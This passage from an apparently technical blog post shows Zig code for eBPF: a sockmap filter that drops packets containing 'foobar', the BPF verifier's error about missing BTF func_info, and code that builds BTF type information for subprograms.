</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">try</span> BPF.<span style="color:#feacd0">map_update_elem</span>(sockmapfd, <span style="color:#00d3d0">&amp;</span>std.mem.<span style="color:#feacd0">toBytes</span>(<span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">i32</span>, <span style="color:#00bcff">0</span>)), std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>socks[<span style="color:#00bcff">0</span>]), BPF.ANY);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> packets <span style="color:#00d3d0">=</span> [_][]<span style="color:#b6a0ff">const</span> <span style="color:#6ae4b9">u8</span>{
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">&#34;foo&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">&#34;bar&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">&#34;foobar&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">&#34;fooba&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">&#34;snafu&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">&#34;ffoobarbaz&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">&#34;bazbarfoo&#34;</span>,
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">0x10</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">for</span> (packets) <span style="color:#00d3d0">|</span>p<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>    _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">write</span>(socks[<span style="color:#00bcff">1</span>], p);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> n_read <span style="color:#00d3d0">=</span> posix.<span style="color:#feacd0">read</span>(socks[<span style="color:#00bcff">0</span>], <span style="color:#00d3d0">&amp;</span>buf) <span style="color:#b6a0ff">catch</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span>    std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;Sent &#39;{s}&#39;, received &#39;{s}&#39;&#34;</span>, .{ p, buf[<span style="color:#00bcff">0</span>..n_read] });
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>info: Sent &#39;foo&#39;, received &#39;foo&#39;
</span></span><span style="display:flex;"><span>info: Sent &#39;bar&#39;, received &#39;bar&#39;
</span></span><span style="display:flex;"><span>info: Sent &#39;foobar&#39;, received &#39;&#39;
</span></span><span style="display:flex;"><span>info: Sent &#39;fooba&#39;, received &#39;fooba&#39;
</span></span><span style="display:flex;"><span>info: Sent &#39;snafu&#39;, received &#39;snafu&#39;
</span></span><span style="display:flex;"><span>info: Sent &#39;ffoobarbaz&#39;, received &#39;&#39;
</span></span><span style="display:flex;"><span>info: Sent &#39;bazbarfoo&#39;, received &#39;bazbarfoo&#39;</span></span></code></pre></div>

<h2 id="type-information--btf">Type information (BTF)</h2>
<p>Even though the eBPF verifier uses type information extensively to prove correctness of a program, almost all eBPF instructions don&rsquo;t encode type information (besides integer width), so how do we represent types in eBPF?</p>
<p>That&rsquo;s where BTF (BPF type format) comes in.
It&rsquo;s described as a format that &ldquo;encodes the debug info related to BPF program/map,&rdquo; but in my opinion this is misleading as it encodes information useful for debugging <strong>and</strong> information that is used by the eBPF verifier to check that your program is valid.</p>
<p>That is to say, eBPF programs that use certain features <strong>require</strong> BTF information in order to pass verification.<sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup></p>
<p>To see this in action, let&rsquo;s rewrite the previous program using the <kbd>bpf_loop</kbd> helper and the <kbd>bpf_strcmp</kbd> KFunc.</p>
<p>According to the docs the second argument of <kbd>bpf_loop</kbd>, <span class="inline-src language-c" data-lang="c"><code>void *callback</code></span>, is a pointer to a static function.
But wait, how do you define a (static) function within an eBPF program?
The preferred verbiage for functions within a program seems to be &ldquo;subprograms&rdquo;, which are subsequences of instructions within the list of instructions that you pass to the <kbd>bpf</kbd> syscall.</p>
<p>To let the verifier know that your subprogram exists, you need to use a special variant of the <code>CALL</code> or <code>LD</code> opcodes, which jump to a program-local function or load a program-local function pointer into a register, respectively.</p>
<p><a id="code-snippet--ebpf-btf-foobar-instructions"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> main_insns <span style="color:#00d3d0">=</span> [_]BPF.Insn{
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">stx</span>(.double_word, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x8</span>, .r1),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">st</span>(.double_word, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r1, .r10),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">add</span>(.r1, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x8</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">stx</span>(.double_word, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x18</span>, .r1),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8">// return if packet_len &lt; 6 bytes
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    .<span style="color:#feacd0">ldx</span>(.double_word, .r1, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x8</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">ldx</span>(.word, .r7, .r1, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">jmp</span>(.jge, .r7, <span style="color:#00bcff">6</span>, <span style="color:#00bcff">2</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r0, <span style="color:#f78fe7">@intFromEnum</span>(SK.PASS)),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">exit</span>(),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r1, .r7),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">add</span>(.r1, <span style="color:#00d3d0">-</span><span style="color:#00bcff">5</span>),
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">_ld_funcall1</span>(.r2, <span style="color:#00bcff">11</span>),
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">_ld_funcall2</span>(<span style="color:#00bcff">11</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r3, .r10),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">add</span>(.r3, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x18</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r4, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8">// .call(.loop),
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    .{
</span></span><span style="display:flex;"><span>        .code <span style="color:#00d3d0">=</span> BPF.CALL <span style="color:#00d3d0">|</span> BPF.JMP,
</span></span><span style="display:flex;"><span>        .dst <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        .src <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        .off <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        .imm <span style="color:#00d3d0">=</span> <span style="color:#00bcff">181</span>,
</span></span><span style="display:flex;"><span>    },
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">ldx</span>(.double_word, .r1, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">jmp</span>(.jeq, .r1, <span style="color:#00bcff">1</span>, <span style="color:#00bcff">2</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r0, <span style="color:#f78fe7">@intFromEnum</span>(SK.PASS)),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">exit</span>(),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r0, <span style="color:#f78fe7">@intFromEnum</span>(SK.DROP)),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">exit</span>(),
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> helper_insns <span style="color:#00d3d0">=</span> [_]BPF.Insn{
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8">// r1 = loop index, r2 = ctx
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    .<span style="color:#feacd0">stx</span>(.double_word, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x8</span>, .r2),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">st</span>(.double_word, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r3, .r1),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8">// load skb-&gt;data[index..][0..6] onto the stack
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    .<span style="color:#feacd0">ldx</span>(.double_word, .r1, .r2, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">ldx</span>(.double_word, .r1, .r1, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r2, .r3),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r3, .r10),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">add</span>(.r3, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x18</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r4, <span style="color:#00bcff">6</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">call</span>(.skb_load_bytes),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">jmp</span>(.jeq, .r0, <span style="color:#00bcff">0</span>, <span style="color:#00bcff">2</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r0, <span style="color:#00bcff">1</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">exit</span>(),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8">// load &#34;foobar&#34; into r9
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    .<span style="color:#feacd0">ld_map_fd1</span>(.r1, mapfd),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">ld_map_fd2</span>(mapfd),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r2, .r10),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">add</span>(.r2, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">call</span>(.map_lookup_elem),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">jmp</span>(.jne, .r0, <span style="color:#00bcff">0</span>, <span style="color:#00bcff">2</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r0, <span style="color:#00bcff">1</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">exit</span>(),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r9, .r0),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r1, .r10),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">add</span>(.r1, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x18</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r2, .r9),
</span></span><span style="display:flex;"><span>    .{
</span></span><span style="display:flex;"><span>        .code <span style="color:#00d3d0">=</span> BPF.CALL <span style="color:#00d3d0">|</span> BPF.JMP,
</span></span><span style="display:flex;"><span>        .dst <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        .src <span style="color:#00d3d0">=</span> <span style="color:#00bcff">2</span>,
</span></span><span style="display:flex;"><span>        .off <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        .imm <span style="color:#00d3d0">=</span> strcmp_btf_id,
</span></span><span style="display:flex;"><span>    },
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">jmp</span>(.jne, .r0, <span style="color:#00bcff">0</span>, <span style="color:#00bcff">5</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">ldx</span>(.double_word, .r1, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x8</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">ldx</span>(.double_word, .r1, .r1, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">st</span>(.double_word, .r1, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x8</span>, <span style="color:#00bcff">1</span>), <span style="color:#a8a8a8">// store &#34;1&#34; on the callee&#39;s stack past the sk_buff ctx pointer
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    .<span style="color:#feacd0">mov</span>(.r0, <span style="color:#00bcff">1</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">exit</span>(),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r0, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">exit</span>(),
</span></span><span style="display:flex;"><span>};</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>BPF Verifier output:
</span></span><span style="display:flex;"><span>missing btf func_info
</span></span><span style="display:flex;"><span>verification time 13905 usec
</span></span><span style="display:flex;"><span>stack depth 24+0
</span></span><span style="display:flex;"><span>processed 13 insns (limit 1000000) max_states_per_insn 0 total_states 1 peak_states 1 mark_read 0
</span></span><span style="display:flex;"><span>error: InvalidProgram
</span></span><span style="display:flex;"><span>/nix/store/pp3rdgdy6pnji9zm91qqcd6c86wljw58-zig-0.15.2/lib/zig/std/os/linux/bpf.zig:1710:5: 0x10c0602 in prog_load (tmp.vvZfe6NDKR)
</span></span><span style="display:flex;"><span>/tmp/nix-shell.6Qivnq/tmp.vvZfe6NDKR.zig:167:20: 0x10c15cf in main (tmp.vvZfe6NDKR)</span></span></code></pre></div>

<p>Ok, now the verifier is upset because we&rsquo;re missing <kbd>btf func_info</kbd>.
Basically, if we want to use callbacks, we need to tell the verifier the type signatures of all of our subprograms.</p>
<p>When loading our program, one of the attributes we can pass in is <kbd>func_info</kbd>, which is a pointer to an array of <kbd>bpf_func_info</kbd> structs, each of which contains an offset of a subprogram and a &ldquo;type id&rdquo; for a <code>BTF_KIND_FUNC_PROTO</code> representing that subprogram&rsquo;s type information.
A type id is basically an index into the list of types contained within a BTF object; because a BPF map or program can only reference types within a single BTF object (not counting btf_vmlinux), for all intents and purposes you should shove any type information your program will need into one BTF object.</p>
<p>Fortunately, constructing a BTF object is fairly straightforward (if not a little tedious), so I will let the code do the talking:</p>
<p><a id="code-snippet--ebpf-btf"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> BTF_FUNC <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">enum</span>(<span style="color:#6ae4b9">u32</span>) {
</span></span><span style="display:flex;"><span>    STATIC <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>    GLOBAL,
</span></span><span style="display:flex;"><span>    EXTERN,
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> bpf_func_info <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">extern</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>    insn_off<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u32</span>,
</span></span><span style="display:flex;"><span>    type_id<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u32</span>,
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> BPFContext <span style="color:#00d3d0">=</span> opaque {};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> BTFContext <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>    type_map<span style="color:#00d3d0">:</span> []<span style="color:#b6a0ff">const</span> <span style="color:#b6a0ff">struct</span> { []<span style="color:#b6a0ff">const</span> <span style="color:#6ae4b9">u8</span>, <span style="color:#6ae4b9">u32</span> } <span style="color:#00d3d0">=</span> <span style="color:#00d3d0">&amp;</span>.{.{ <span style="color:#79a8ff">&#34;void&#34;</span>, <span style="color:#00bcff">0</span> }},
</span></span><span style="display:flex;"><span>    strings<span style="color:#00d3d0">:</span> []<span style="color:#b6a0ff">const</span> <span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>,
</span></span><span style="display:flex;"><span>    btf_bytes<span style="color:#00d3d0">:</span> []<span style="color:#b6a0ff">const</span> <span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00d3d0">&amp;</span>.{},
</span></span><span style="display:flex;"><span>    type_id<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u32</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">1</span>,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">indexOf</span>(self<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">*</span><span style="color:#b6a0ff">const</span> <span style="color:#f78fe7">@This</span>(), T<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">type</span>) <span style="color:#00d3d0">?</span><span style="color:#6ae4b9">usize</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">inline</span> <span style="color:#b6a0ff">for</span> (self.type_map) <span style="color:#00d3d0">|</span>typ<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">if</span> (std.mem.<span style="color:#feacd0">eql</span>(<span style="color:#6ae4b9">u8</span>, <span style="color:#f78fe7">@typeName</span>(T), typ.@<span style="color:#79a8ff">&#34;0&#34;</span>)) <span style="color:#b6a0ff">return</span> typ.@<span style="color:#79a8ff">&#34;1&#34;</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">return</span> <span style="color:#00bcff">null</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">typeToBtfContext</span>(T<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">type</span>, <span style="color:#b6a0ff">comptime</span> ctx<span style="color:#00d3d0">:</span> BTFContext) BTFContext {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">comptime</span> <span style="color:#b6a0ff">var</span> ret <span style="color:#00d3d0">=</span> ctx;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#f78fe7">@setEvalBranchQuota</span>(<span style="color:#00bcff">2000000</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">if</span> (BTFContext.<span style="color:#feacd0">indexOf</span>(<span style="color:#00d3d0">&amp;</span>ctx, T)) <span style="color:#00d3d0">|</span>_<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">return</span> ctx;
</span></span><span style="display:flex;"><span>    } <span style="color:#b6a0ff">else</span> {
</span></span><span style="display:flex;"><span>        ret.type_map <span style="color:#00d3d0">=</span> ret.type_map <span style="color:#00d3d0">++</span> .{.{ <span style="color:#f78fe7">@typeName</span>(T), ret.type_id }};
</span></span><span style="display:flex;"><span>        ret.type_id <span style="color:#00d3d0">+=</span> <span style="color:#00bcff">1</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">switch</span> (<span style="color:#f78fe7">@typeInfo</span>(T)) {
</span></span><span style="display:flex;"><span>            .int <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>info<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>                <span style="color:#b6a0ff">const</span> encoding<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u32</span> <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">if</span> (info.signedness <span style="color:#00d3d0">==</span> .signed) <span style="color:#00bcff">1</span> <span style="color:#b6a0ff">else</span> <span style="color:#b6a0ff">if</span> (T <span style="color:#00d3d0">==</span> <span style="color:#6ae4b9">u8</span>) <span style="color:#00bcff">2</span> <span style="color:#b6a0ff">else</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span>                ret.btf_bytes <span style="color:#00d3d0">=</span> ret.btf_bytes <span style="color:#00d3d0">++</span> std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>BPF.btf.Type{
</span></span><span style="display:flex;"><span>                    .name_off <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>                    .info <span style="color:#00d3d0">=</span> .{
</span></span><span style="display:flex;"><span>                        .vlen <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                        .unused_1 <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>                        .kind <span style="color:#00d3d0">=</span> .int,
</span></span><span style="display:flex;"><span>                        .unused_2 <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                        .kind_flag <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>                    },
</span></span><span style="display:flex;"><span>                    .size_type <span style="color:#00d3d0">=</span> .{ .size <span style="color:#00d3d0">=</span> (info.bits <span style="color:#00d3d0">+</span> <span style="color:#00bcff">7</span>) <span style="color:#00d3d0">/</span> <span style="color:#00bcff">8</span> <span style="color:#00d3d0">*</span> <span style="color:#00bcff">8</span> },
</span></span><span style="display:flex;"><span>                }) <span style="color:#00d3d0">++</span> std.mem.<span style="color:#feacd0">toBytes</span>(<span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">u32</span>, (encoding <span style="color:#00d3d0">&lt;&lt;</span> <span style="color:#00bcff">24</span>) <span style="color:#00d3d0">+</span> <span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">u32</span>, <span style="color:#00bcff">0</span> <span style="color:#00d3d0">&lt;&lt;</span> <span style="color:#00bcff">16</span>) <span style="color:#00d3d0">+</span> info.bits));
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            .<span style="color:#6ae4b9">bool</span> <span style="color:#00d3d0">=&gt;</span> {
</span></span><span style="display:flex;"><span>                <span style="color:#b6a0ff">const</span> encoding<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u32</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">4</span>;
</span></span><span style="display:flex;"><span>                ret.btf_bytes <span style="color:#00d3d0">=</span> ret.btf_bytes <span style="color:#00d3d0">++</span> std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>BPF.btf.Type{
</span></span><span style="display:flex;"><span>                    .name_off <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>                    .info <span style="color:#00d3d0">=</span> .{
</span></span><span style="display:flex;"><span>                        .vlen <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                        .unused_1 <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>                        .kind <span style="color:#00d3d0">=</span> .int,
</span></span><span style="display:flex;"><span>                        .unused_2 <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                        .kind_flag <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>                    },
</span></span><span style="display:flex;"><span>                    .size_type <span style="color:#00d3d0">=</span> .{ .size <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@sizeOf</span>(<span style="color:#6ae4b9">bool</span>) },
</span></span><span style="display:flex;"><span>                }) <span style="color:#00d3d0">++</span> std.mem.<span style="color:#feacd0">toBytes</span>(<span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">u32</span>, (encoding <span style="color:#00d3d0">&lt;&lt;</span> <span style="color:#00bcff">24</span>) <span style="color:#00d3d0">+</span> <span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">u32</span>, <span style="color:#00bcff">0</span> <span style="color:#00d3d0">&lt;&lt;</span> <span style="color:#00bcff">16</span>) <span style="color:#00d3d0">+</span> <span style="color:#f78fe7">@bitSizeOf</span>(<span style="color:#6ae4b9">bool</span>)));
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            .float <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>info<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>                ret.btf_bytes <span style="color:#00d3d0">=</span> ret.btf_bytes <span style="color:#00d3d0">++</span> std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>BPF.btf.Type{
</span></span><span style="display:flex;"><span>                    .name_off <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>                    .info <span style="color:#00d3d0">=</span> .{
</span></span><span style="display:flex;"><span>                        .vlen <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                        .unused_1 <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>                        .kind <span style="color:#00d3d0">=</span> .float,
</span></span><span style="display:flex;"><span>                        .unused_2 <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                        .kind_flag <span style="color:#00d3d0">=</span> <span style="color:#00bcff">false</span>,
</span></span><span style="display:flex;"><span>                    },
</span></span><span style="display:flex;"><span>                    .size_type <span style="color:#00d3d0">=</span> .{ .size <span style="color:#00d3d0">=</span> (info.bits <span style="color:#00d3d0">+</span> <span style="color:#00bcff">7</span>) <span style="color:#00d3d0">/</span> <span style="color:#00bcff">8</span> <span style="color:#00d3d0">*</span> <span style="color:#00bcff">8</span> },
</span></span><span style="display:flex;"><span>                });
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            .@<span style="color:#79a8ff">&#34;enum&#34;</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>info<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>                <span style="color:#b6a0ff">const</span> enum_size <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">switch</span> (<span style="color:#f78fe7">@sizeOf</span>(info.tag_type)) {
</span></span><span style="display:flex;"><span>                    <span style="color:#00bcff">1</span>, <span style="color:#00bcff">2</span>, <span style="color:#00bcff">4</span>, <span style="color:#00bcff">8</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>s<span style="color:#00d3d0">|</span> s,
